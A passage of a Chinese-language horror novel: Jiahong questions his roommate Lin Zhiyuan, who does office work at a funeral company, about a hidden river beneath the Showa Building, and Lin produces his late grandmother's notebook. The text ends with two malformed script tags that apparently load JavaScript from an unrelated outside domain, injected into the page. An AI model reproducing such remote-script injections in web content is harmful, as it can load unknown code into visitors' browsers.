但实际上,林志远的正职是在一家殡葬礼仪公司当行政。他从大学时期就在那里打工,毕业后直接转正。每天的工作内容是处理各种殡葬文件、安排告别式流程、和往生者家属沟通。他说过一句嘉宏至今想起来都会起鸡皮疙瘩的话:“人死了之后,其实比活着的时候好相处多了。活着的人会骗你、骂你、坑你钱。死了的人就躺在那里,安安静静的,不跟你吵,不跟你闹,顶多偶尔让你闻到一点味道。”
“你在看什么?”林志远把蛋饼放在嘉宏的桌上,探头看了一眼他手机屏幕上的新闻照片,“靠,你怎么在看这个?这不是那栋楼吗?”
“嗯。”嘉宏咬了一口蛋饼,蛋饼已经有点凉了,培根的味道腻得让他有点反胃,“我在查资料。”
“查资料查1984年的火灾?”林志远拉过一把椅子坐下来,把蛋饼袋子摊开放在膝盖上,一边吃一边含糊不清地说,“你有病喔?你昨晚不是才从那里回来吗?你还要继续查,是想把自己吓死还是想把我吓死?”
“志远,你昨天说的那个暗河的事,”嘉宏放下蛋饼,认真地看着他,“你还知道什么?”
林志远咀嚼的动作停了下来。他把嘴里的蛋饼咽下去,放下筷子,脸上的表情从嬉皮笑脸变成了嘉宏很少看到的认真——那种殡葬业从业者特有的、见过太多死亡之后的、平静但沉重的认真。
“你认真的?”
“我认真的。”
林志远沉默了几秒,然后站起来走到自己房间,拿了一本泛黄的笔记本回来。笔记本的封面是那种老式的牛皮纸,边角已经磨损发白,上面用黑色原子笔写着四个字——“阿嬷说的”。
“这是我阿嬷留给我的,”林志远把笔记本放在嘉宏面前,“她老人家去年过世之前,把这个交给我。她说,里面的东西,有朝一日会有用。我本来以为她只是在交代后事,就没当回事。但你说到昭和大厦的暗河,我才想起来,这里面有写。”
嘉宏翻开笔记本。纸页已经发黄发脆,翻动的时候能听到细微的裂响。第一页写的是日期——民国七十六年,也就是1987年,笔记本上记的是一段闽
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">